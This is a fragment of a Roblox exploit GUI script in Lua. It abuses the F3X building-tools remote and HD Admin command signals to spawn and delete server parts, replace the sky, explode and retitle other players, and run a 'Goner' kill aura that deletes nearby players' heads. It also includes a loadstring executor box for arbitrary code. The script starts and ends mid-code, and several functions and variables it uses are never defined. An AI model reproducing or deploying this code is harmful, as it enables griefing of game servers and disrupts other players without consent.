function destroy(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
local function makemesh(part)
local args = {
"CreateMeshes",
{
{
Part = part
}
}
}
_(args)
end
local function syncmeshsize(part, vectora)
local args = {
"SyncMesh",
{
{
Part = part,
Scale = vectora
}
}
}
_(args)
end
local function syncmeshtexture(part, id)
local args = {
"SyncMesh",
{
{
Part = part,
TextureId = "rbxassetid://" .. id
}
}
}
_(args)
end
local function name(part, stringa)
local args = {
"SetName",
{ part },
stringa
}
_(args)
end
local function lock(part, boolean)
local args = {
"SetLocked",
{ part },
boolean
}
_(args)
end
local function setcollision(part, booleana)
local args = {
"SyncCollision",
{
{
Part = part,
CanCollide = booleana
}
}
}
_(args)
end
local function setanchor(part, boolean)
local args = {
"SyncAnchor",
{
{
Part = part,
Anchored = boolean
}
}
}
_(args)
end
local function createdecal(part, side)
local args = {
"CreateTextures",
{
{
Part = part,
Face = side,
TextureType = "Decal"
}
}
}
_(args)
end
local function setdecal(part, asset, side)
local args = {
"SyncTexture",
{
{
Part = part,
Face = side,
TextureType = "Decal",
Texture = "rbxassetid://" .. asset
}
}
}
_(args)
end
task.spawn(function()
while task.wait(0.02) do
task.spawn(function()
local hrp = char.HumanoidRootPart
local pos = hrp.CFrame * CFrame.new(0, -3, 0)
local trail = serverendpoint:InvokeServer("CreatePart", "Normal", CFrame.new(0,0,0), char)
task.spawn(function()
setcollision(trail, false)
end)
task.spawn(function()
syncmaterial(trail, Enum.Material.Granite)
end)
task.spawn(function()
color(trail, Color3.new(0, 0, 0))
end)
task.spawn(function()
resize(trail, Vector3.new(10,0,10), pos)
end)
task.spawn(function()
fire(trail)
end)
BurningEff(trail)
task.wait(1)
delete(trail)
end)
end
end)
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local rq = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
local RunService = game:GetService("RunService")
local rotatetypeshii = Vector3.new(0, 1, 0).Unit
local skypartrotation = 0
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function reflect(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Reflectance"] = int
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function MeshColor(part,color)
local args = {
"SyncMesh",
{
{
Part = part,
VertexColor = color
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function Setmate(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Material"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function ClonePart(part,parent)
local args = {
[1] = "Clone",
[2] = {
[1] = part
},
[3] = parent
}
return remote:InvokeServer(unpack(args))
end
function Sky(id)
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommandSilent = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
local function findBuildingTools()
local player = game:GetService("Players").LocalPlayer
for _, item in ipairs(player.Character:GetChildren()) do
if item:IsA("Tool") and item:FindFirstChild("SyncAPI") then
return item
end
end
for _, item in ipairs(player.Backpack:GetChildren()) do
if item:IsA("Tool") and item:FindFirstChild("SyncAPI") then
return item
end
end
return nil
end
local buildingTools = findBuildingTools()
if not buildingTools then
warn("btools not found")
return
end
local syncAPI = buildingTools:FindFirstChild("SyncAPI")
local serverEndpoint = syncAPI and syncAPI:FindFirstChild("ServerEndpoint")
if not serverEndpoint then
warn("btools not found")
return
end
local skyInstance = workspace.Terrain:FindFirstChild("Sky") or workspace:FindFirstChild("Sky")
if not skyInstance then
print"ok"
end
spawn(function()
DestroyPart(skyInstance)
end)
local success, result
if serverEndpoint:IsA("RemoteFunction") then
success, result = pcall(function()
return serverEndpoint:InvokeServer(unpack(args))
end)
else
serverEndpoint:FireServer(unpack(args))
success = true
end
if success then
print"yay"
end
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
mhm = CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,-5,0)
v = remote:InvokeServer("CreatePart","Normal",mhm,char)
task.spawn(function()
SetName(v,"johnbeep")
end)
task.spawn(function()
AddMesh(v)
end)
task.spawn(function()
rq:InvokeServer(";time 0")
end)
task.spawn(function()
Resize(v,Vector3.new(0,0,0),v.CFrame)
end)
task.spawn(function()
SetMesh(v,"1527559")
end)
task.spawn(function()
MeshColor(v,vector.create(2,0,0))
end)
task.spawn(function()
SetTexture(v,id)
end)
task.spawn(function()
MeshResize(v,Vector3.new(-3000,-1000,-3000))
end)
task.spawn(function()
SetLocked(v,true)
end)
local rotationAngle = 5
local rotationSpeed = math.rad(20)
RunService.Heartbeat:Connect(function(deltaTime)
rotationAngle = rotationAngle + rotationSpeed * deltaTime
local rotation = CFrame.Angles(0, rotationAngle, 0)
local cf = CFrame.new(v.Position) * rotation
task.spawn(function()
MovePart(v, cf)
end)
end)
end
Sky("1529455")
while true do
wait(0.1)
if character:FindFirstChildOfClass("Humanoid").Health <= 0 then
RequestCommand:InvokeServer(";titler me BAD CHOICE")
ClonePart(character.Head,workspace.Terrain)
wait(0.1)
local bg = workspace.Terrain.Head
task.spawn(function()
DestroyPart(bg.face)
end)
task.spawn(function()
SetTrans(bg,1)
end)
ClonePart(character.johnbeep,workspace.Terrain)
spawn(function()
MeshColor(workspace.Terrain.johnbeep,vector.create(0,0,0))
end)
task.spawn(function()
MeshResize(workspace.Terrain.johnbeep,Vector3.new(-50000,-50000,-50000))
end)
RequestCommand:InvokeServer(";explode others")
RequestCommand:InvokeServer(";music 17717379222")
RequestCommand:InvokeServer(";volume 10")
wait(4)
RequestCommand:InvokeServer(";music 19094700")
RequestCommand:InvokeServer(";pitch 0.5")
RequestCommand:InvokeServer(";volume 3")
wait(0.8)
RequestCommand:InvokeServer(";fogcolor black")
RequestCommand:InvokeServer(";fog 3000")
break
end
end
end)
end;
task.spawn(C_18);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_1a()
local script = G2L["1a"];
local button = script.Parent
button.MouseButton1Click:Connect(function()
--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
local function Script_F3X_Goner()
local player = game.Players.LocalPlayer
local char = player.Character
local mouse = player:GetMouse()
local RunService = game:GetService("RunService")
local tool
for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end
if not tool then
for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end
end
if not tool then return end
local remote = tool.SyncAPI.ServerEndpoint
local function _(args) remote:InvokeServer(unpack(args)) end
local active = true
local isAttacking = false
local slashProgress = 0
local function CreateGPart(size, color)
local p = remote:InvokeServer("CreatePart", "Normal", char.HumanoidRootPart.CFrame, workspace)
_({"SyncResize", {{["Part"] = p, ["CFrame"] = char.HumanoidRootPart.CFrame, ["Size"] = size}}})
_({"SyncColor", {{["Part"] = p, ["Color"] = color or Color3.new(0, 0, 0)}}})
_({"SyncMaterial", {{["Part"] = p, ["Material"] = Enum.Material.Neon}}})
_({"SyncCollision", {{["Part"] = p, ["CanCollide"] = false}}})
return p
end
-- Тело
local gTorso = CreateGPart(Vector3.new(2.2, 2.2, 1.2))
local gHead = CreateGPart(Vector3.new(1, 1, 1))
local gRArm = CreateGPart(Vector3.new(1.2, 2.2, 1.2))
local gLArm = CreateGPart(Vector3.new(1.2, 2.2, 1.2))
local gRLeg = CreateGPart(Vector3.new(1.2, 2.2, 1.2))
local gLLeg = CreateGPart(Vector3.new(1.2, 2.2, 1.2))
local gScythe = CreateGPart(Vector3.new(2, 5.925, 0.25))
-- Глаза
local eyeL = CreateGPart(Vector3.new(0.25, 0.25, 0.25), Color3.new(1, 0, 0))
local eyeR = CreateGPart(Vector3.new(0.25, 0.25, 0.25), Color3.new(1, 0, 0))
_({"CreateMeshes", {{["Part"] = eyeL}, {["Part"] = eyeR}, {["Part"] = gHead}, {["Part"] = gScythe}}})
_({"SyncMesh", {
{["Part"] = eyeL, ["MeshType"] = Enum.MeshType.Cylinder, ["Scale"] = Vector3.new(0.6, 0.6, 0.6)},
{["Part"] = eyeR, ["MeshType"] = Enum.MeshType.Cylinder, ["Scale"] = Vector3.new(0.6, 0.6, 0.6)},
{["Part"] = gHead, ["MeshType"] = Enum.MeshType.Head, ["Scale"] = Vector3.new(1.4, 1.4, 1.4)},
{["Part"] = gScythe, ["MeshId"] = "rbxassetid://500489601", ["Scale"] = Vector3.new(0.01, 0.01, 0.01)}
}})
_({"CreateDecorations", {{["Part"] = gTorso, ["DecorationType"] = "Fire"}}})
_({"SyncDecorate", {{["Part"] = gTorso, ["DecorationType"] = "Fire", ["Size"] = 10, ["Heat"] = 5, ["Color"] = Color3.new(0, 0, 0), ["SecondaryColor"] = Color3.new(0, 0, 0)}}})
local tor = char:FindFirstChild("Torso") or char:FindFirstChild("UpperTorso")
local rArm = char:FindFirstChild("Right Arm") or char:FindFirstChild("RightHand")
local rShoulder = tor:FindFirstChild("Right Shoulder") or rArm:FindFirstChild("RightShoulder")
local oldC0 = rShoulder.C0
local connection
connection = RunService.Heartbeat:Connect(function()
if not active or not gTorso or not gTorso.Parent then
rShoulder.C0 = oldC0
connection:Disconnect()
return
end
local hitPos = mouse.Hit.p
local jointPos = tor.CFrame:PointToWorldSpace(oldC0.p)
local direction = (hitPos - jointPos).Unit
local angle = math.asin(direction.Y)
local slashAnim = CFrame.new()
if isAttacking then
slashProgress = slashProgress + 0.08
local s = math.sin(slashProgress * math.pi)
slashAnim = CFrame.Angles(math.rad(110 * s), math.rad(-80 * s), math.rad(25 * s))
if slashProgress >= 1 then isAttacking = false slashProgress = 0 end
end
rShoulder.C0 = oldC0 * CFrame.Angles(0, 0, math.rad(90)) * CFrame.Angles(angle, 0, 0) * slashAnim
local headCF = char.Head.CFrame
local handCF = rArm.CFrame * CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(90), 0, 0)
local scytheCF = handCF * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(90), math.rad(180), 0)
task.spawn(function()
_({"SyncMove", {
{["Part"] = gTorso, ["CFrame"] = tor.CFrame},
{["Part"] = gHead, ["CFrame"] = headCF * CFrame.new(0, 0.15, 0)},
{["Part"] = gLArm, ["CFrame"] = char["Left Arm"].CFrame},
{["Part"] = gRArm, ["CFrame"] = rArm.CFrame},
{["Part"] = gRLeg, ["CFrame"] = char["Right Leg"].CFrame},
{["Part"] = gLLeg, ["CFrame"] = char["Left Leg"].CFrame},
{["Part"] = gScythe, ["CFrame"] = scytheCF},
{["Part"] = eyeL, ["CFrame"] = headCF * CFrame.new(-0.28, 0.22, -0.62) * CFrame.Angles(0, math.rad(90), 0)},
{["Part"] = eyeR, ["CFrame"] = headCF * CFrame.new(0.28, 0.22, -0.62) * CFrame.Angles(0, math.rad(90), 0)}
}})
end)
-- КИЛЛ-АУРА (Радиус 3)
local region = workspace:GetPartBoundsInRadius(scytheCF.Position, 3)
for _, p in pairs(region) do
local m = p.Parent
if m:IsA("Model") and m:FindFirstChild("Humanoid") and m ~= char then
local targetHead = m:FindFirstChild("Head")
if targetHead then
task.spawn(function()
remote:InvokeServer("Remove", {targetHead})
end)
end
end
end
end)
mouse.Button1Down:Connect(function()
if not isAttacking then isAttacking = true slashProgress = 0 end
end)
end
Script_F3X_Goner()
end)
end;
task.spawn(C_1a);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_1c()
local script = G2L["1c"];
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";titley all WE SURRENDER")
end)
end;
task.spawn(C_1c);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_1f()
local script = G2L["1f"];
local button = script.Parent
button.MouseButton1Click:Connect(function()
-- Gui to Lua
-- Version: 3.2
-- Instances:
local ScreenGui = Instance.new("ScreenGui")
local Frame = Instance.new("Frame")
local TextLabel = Instance.new("TextLabel")
local TextButton = Instance.new("TextButton")
local TextButton_2 = Instance.new("TextButton")
local TextButton_3 = Instance.new("TextButton")
local Frame_2 = Instance.new("Frame")
local TextButton_4 = Instance.new("TextButton")
local TextButton_5 = Instance.new("TextButton")
local TextButton_6 = Instance.new("TextButton")
local Frame_3 = Instance.new("Frame")
local TextButton_7 = Instance.new("TextButton")
local TextButton_8 = Instance.new("TextButton")
local ScrollingFrame = Instance.new("ScrollingFrame")
local TextBox = Instance.new("TextBox")
local ImageLabel = Instance.new("ImageLabel")
--Properties:
ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
ScreenGui.ResetOnSpawn = false
Frame.Parent = ScreenGui
Frame.BackgroundColor3 = Color3.fromRGB(197, 197, 197)
Frame.BorderColor3 = Color3.fromRGB(0, 0, 0)
Frame.BorderSizePixel = 0
Frame.Position = UDim2.new(0.368421048, 0, 0.101221435, 0)
Frame.Size = UDim2.new(0, 498, 0, 395)
TextLabel.Parent = Frame
TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextLabel.BorderSizePixel = 0
TextLabel.Size = UDim2.new(0, 399, 0, 24)
TextLabel.Font = Enum.Font.SourceSans
TextLabel.Text = " dominant"
TextLabel.TextColor3 = Color3.fromRGB(0, 0, 0)
TextLabel.TextSize = 14.000
TextLabel.TextXAlignment = Enum.TextXAlignment.Left
TextButton.Parent = Frame
TextButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton.BorderSizePixel = 0
TextButton.Position = UDim2.new(0.92954433, 0, 0, 0)
TextButton.Size = UDim2.new(0, 35, 0, 24)
TextButton.Font = Enum.Font.SourceSans
TextButton.Text = "X"
TextButton.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton.TextScaled = true
TextButton.TextSize = 14.000
TextButton.TextWrapped = true
TextButton_2.Parent = Frame
TextButton_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_2.BorderColor3 = Color3.fromRGB(182, 182, 182)
TextButton_2.Position = UDim2.new(0.0124223698, 0, 0.0751006901, 0)
TextButton_2.Size = UDim2.new(0, 77, 0, 23)
TextButton_2.Font = Enum.Font.SourceSans
TextButton_2.Text = "Executor"
TextButton_2.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_2.TextScaled = true
TextButton_2.TextSize = 14.000
TextButton_2.TextWrapped = true
TextButton_3.Parent = Frame
TextButton_3.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_3.BorderColor3 = Color3.fromRGB(182, 182, 182)
TextButton_3.Position = UDim2.new(0.18853049, 0, 0.0751006901, 0)
TextButton_3.Size = UDim2.new(0, 77, 0, 23)
TextButton_3.Font = Enum.Font.SourceSans
TextButton_3.Text = "Soon"
TextButton_3.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_3.TextScaled = true
TextButton_3.TextSize = 14.000
TextButton_3.TextWrapped = true
Frame_2.Parent = Frame
Frame_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Frame_2.BorderColor3 = Color3.fromRGB(182, 182, 182)
Frame_2.Position = UDim2.new(0.770560503, 0, 0.15625, 0)
Frame_2.Size = UDim2.new(0, 105, 0, 326)
TextButton_4.Parent = Frame
TextButton_4.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_4.BorderColor3 = Color3.fromRGB(182, 182, 182)
TextButton_4.Position = UDim2.new(0.0124223698, 0, 0.71900171, 0)
TextButton_4.Size = UDim2.new(0, 132, 0, 30)
TextButton_4.Font = Enum.Font.SourceSans
TextButton_4.Text = "Execute"
TextButton_4.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_4.TextScaled = true
TextButton_4.TextSize = 14.000
TextButton_4.TextWrapped = true
TextButton_5.Parent = Frame
TextButton_5.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_5.BorderColor3 = Color3.fromRGB(182, 182, 182)
TextButton_5.Position = UDim2.new(0.0124223698, 0, 0.810140967, 0)
TextButton_5.Size = UDim2.new(0, 132, 0, 30)
TextButton_5.Font = Enum.Font.SourceSans
TextButton_5.Text = "Clear"
TextButton_5.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_5.TextScaled = true
TextButton_5.TextSize = 14.000
TextButton_5.TextWrapped = true
TextButton_6.Parent = Frame
TextButton_6.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_6.BorderColor3 = Color3.fromRGB(182, 182, 182)
TextButton_6.Position = UDim2.new(0.0124223698, 0, 0.903811812, 0)
TextButton_6.Size = UDim2.new(0, 132, 0, 30)
TextButton_6.Font = Enum.Font.SourceSans
TextButton_6.Text = "Nothing"
TextButton_6.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_6.TextScaled = true
TextButton_6.TextSize = 14.000
TextButton_6.TextWrapped = true
Frame_3.Parent = Frame
Frame_3.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Frame_3.BorderColor3 = Color3.fromRGB(182, 182, 182)
Frame_3.Position = UDim2.new(0.291164607, 0, 0.71900171, 0)
Frame_3.Size = UDim2.new(0, 232, 0, 102)
TextButton_7.Parent = Frame
TextButton_7.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_7.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_7.BorderSizePixel = 0
TextButton_7.Position = UDim2.new(0.859263241, 0, 0, 0)
TextButton_7.Size = UDim2.new(0, 35, 0, 24)
TextButton_7.Font = Enum.Font.SourceSans
TextButton_7.Text = "[]"
TextButton_7.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_7.TextScaled = true
TextButton_7.TextSize = 14.000
TextButton_7.TextWrapped = true
TextButton_8.Parent = Frame
TextButton_8.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_8.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_8.BorderSizePixel = 0
TextButton_8.Position = UDim2.new(0.788982093, 0, 0, 0)
TextButton_8.Size = UDim2.new(0, 35, 0, 24)
TextButton_8.Font = Enum.Font.SourceSans
TextButton_8.Text = "-"
TextButton_8.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_8.TextScaled = true
TextButton_8.TextSize = 14.000
TextButton_8.TextWrapped = true
ScrollingFrame.Parent = Frame
ScrollingFrame.Active = true
ScrollingFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
ScrollingFrame.BorderColor3 = Color3.fromRGB(182, 182, 182)
ScrollingFrame.Position = UDim2.new(0.0120481923, 0, 0.15625, 0)
ScrollingFrame.Size = UDim2.new(0, 371, 0, 215)
TextBox.Parent = ScrollingFrame
TextBox.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextBox.BorderColor3 = Color3.fromRGB(182, 182, 182)
TextBox.Size = UDim2.new(0, 371, 0, 800)
TextBox.ClearTextOnFocus = false
TextBox.Font = Enum.Font.SourceSans
TextBox.PlaceholderColor3 = Color3.fromRGB(0, 170, 0)
TextBox.PlaceholderText = "Game with ServerScriptService -LoadstringEnabled is on only, and this is client executor"
TextBox.Text = ""
TextBox.TextColor3 = Color3.fromRGB(0, 0, 0)
TextBox.TextSize = 11.000
TextBox.TextWrapped = true
TextBox.TextXAlignment = Enum.TextXAlignment.Left
TextBox.TextYAlignment = Enum.TextYAlignment.Top
ImageLabel.Parent = ScreenGui
ImageLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
ImageLabel.BackgroundTransparency = 1.000
ImageLabel.BorderColor3 = Color3.fromRGB(0, 0, 0)
ImageLabel.BorderSizePixel = 0
ImageLabel.Position = UDim2.new(0, 0, 0.814814806, 0)
ImageLabel.Size = UDim2.new(0, 100, 0, 100)
ImageLabel.Image = "rbxassetid://99156048430349"
-- Scripts:
local function XCDTATE_fake_script() -- TextButton.LocalScript
local script = Instance.new('LocalScript', TextButton)
local button = script.Parent
local frame = button.Parent -- Looks up to find the Frame containing the button
button.MouseButton1Click:Connect(function()
frame:Destroy()
end)
end
coroutine.wrap(XCDTATE_fake_script)()
local function UOFEA_fake_script() -- TextButton_4.LocalScript
local script = Instance.new('LocalScript', TextButton_4)
local button = script.Parent
local textBox = button.Parent:WaitForChild("TextBox")
button.MouseButton1Click:Connect(function()
local code = textBox.Text
if code ~= "" then
-- loadstring returns a function and an optional error message
local func, compileError = loadstring(code)
if func then
-- If compilation succeeded, run it safely inside a pcall
local success, runtimeError = pcall(func)
if not success then
warn("Runtime Error: " .. tostring(runtimeError))
end
else
warn("Syntax Error: " .. tostring(compileError))
end
end
end)
end
coroutine.wrap(UOFEA_fake_script)()
local function TTVHCS_fake_script() -- TextButton_5.LocalScript
local script = Instance.new('LocalScript', TextButton_5)
local button = script.Parent
-- Adjust this path depending on where your TextBox is located
local textBox = button.Parent:WaitForChild("TextBox")
local function onButtonClicked()
textBox.Text = "" -- Clears the text
end
button.MouseButton1Click:Connect(onButtonClicked)
end
coroutine.wrap(TTVHCS_fake_script)()
local function BKMXTZ_fake_script() -- Frame.Smooth GUI Dragging
local script = Instance.new('LocalScript', Frame)
local UserInputService = game:GetService("UserInputService")
local runService = (game:GetService("RunService"));
local gui = script.Parent
local dragging
local dragInput
local dragStart
local startPos
function Lerp(a, b, m)
return a + (b - a) * m
end;
local lastMousePos
local lastGoalPos
local DRAG_SPEED = (8); -- // The speed of the UI darg.
function Update(dt)
if not (startPos) then return end;
if not (dragging) and (lastGoalPos) then
gui.Position = UDim2.new(startPos.X.Scale, Lerp(gui.Position.X.Offset, lastGoalPos.X.Offset, dt * DRAG_SPEED), startPos.Y.Scale, Lerp(gui.Position.Y.Offset, lastGoalPos.Y.Offset, dt * DRAG_SPEED))
return
end;
local delta = (lastMousePos - UserInputService:GetMouseLocation())
local xGoal = (startPos.X.Offset - delta.X);
local yGoal = (startPos.Y.Offset - delta.Y);
lastGoalPos = UDim2.new(startPos.X.Scale, xGoal, startPos.Y.Scale, yGoal)
gui.Position = UDim2.new(startPos.X.Scale, Lerp(gui.Position.X.Offset, xGoal, dt * DRAG_SPEED), startPos.Y.Scale, Lerp(gui.Position.Y.Offset, yGoal, dt * DRAG_SPEED))
end;
gui.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = gui.Position
lastMousePos = UserInputService:GetMouseLocation()
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
gui.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
dragInput = input
end
end)
runService.Heartbeat:Connect(Update)
end
coroutine.wrap(BKMXTZ_fake_script)()
local function JUYMZ_fake_script() -- ImageLabel.LocalScript
local script = Instance.new('LocalScript', ImageLabel)
while true do
script.Parent.Rotation = script.Parent.Rotation + 1
wait()
end
end
coroutine.wrap(JUYMZ_fake_script)()
local function GMHK_fake_script() -- ImageLabel.Smooth GUI Dragging
local script = Instance.new('LocalScript', ImageLabel)
local UserInputService = game:GetService("UserInputService")
local runService = (game:GetService("RunService"));
local gui = script.Parent
local dragging
local dragInput
local dragStart
local startPos
function Lerp(a, b, m)
return a + (b - a) * m
end;
local lastMousePos
local lastGoalPos
local DRAG_SPEED = (8); -- // The speed of the UI darg.
function Update(dt)
if not (startPos) then return end;
if not (dragging) and (lastGoalPos) then
gui.Position = UDim2.new(startPos.X.Scale, Lerp(gui.Position.X.Offset, lastGoalPos.X.Offset, dt * DRAG_SPEED), startPos.Y.Scale, Lerp(gui.Position.Y.Offset, lastGoalPos.Y.Offset, dt * DRAG_SPEED))
return
end;
local delta = (lastMousePos - UserInputService:GetMouseLocation())
local xGoal = (startPos.X.Offset - delta.X);
local yGoal = (startPos.Y.Offset - delta.Y);
lastGoalPos = UDim2.new(startPos.X.Scale, xGoal, startPos.Y.Scale, yGoal)
gui.Position = UDim2.new(startPos.X.Scale, Lerp(gui.Position.X.Offset, xGoal, dt * DRAG_SPEED), startPos.Y.Scale, Lerp(gui.Position.Y.Offset, yGoal, dt * DRAG_SPEED))
end;
gui.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = gui.Position
lastMousePos = UserInputService:GetMouseLocation()
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
gui.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
dragInput = input
end
end)
runService.Heartbeat:Connect(Update)
end
coroutine.wrap(GMHK_fake_script)()
end)
end;
task.spawn(C_1f);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_21()
local script = G2L["21"];
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";disco")
end)
end;
task.spawn(C_21);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_23()
local script = G2L["23"];
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";createteam red SONion")
RequestCommand:InvokeServer(";createteam blue mrc00lnoob was here")
RequestCommand:InvokeServer(";createteam db LUA")
RequestCommand:InvokeServer(";createteam green god")
RequestCommand:InvokeServer(";createteam dg mario")
RequestCommand:InvokeServer(";createteam pk black")
RequestCommand:InvokeServer(";createteam p How many districts are there in Hong Kong?")
RequestCommand:InvokeServer(";createteam y GG guyss")
RequestCommand:InvokeServer(";createteam o wat did i say")
RequestCommand:InvokeServer(";createteam black Good!")
RequestCommand:InvokeServer(";createteam white Bad!")
end)
end;
task.spawn(C_23);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_25()
local script = G2L["25"];
local button = script.Parent
button.MouseButton1Click:Connect(function()
--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
local player = game.Players.LocalPlayer
local replicatedStorage = game:GetService("ReplicatedStorage")
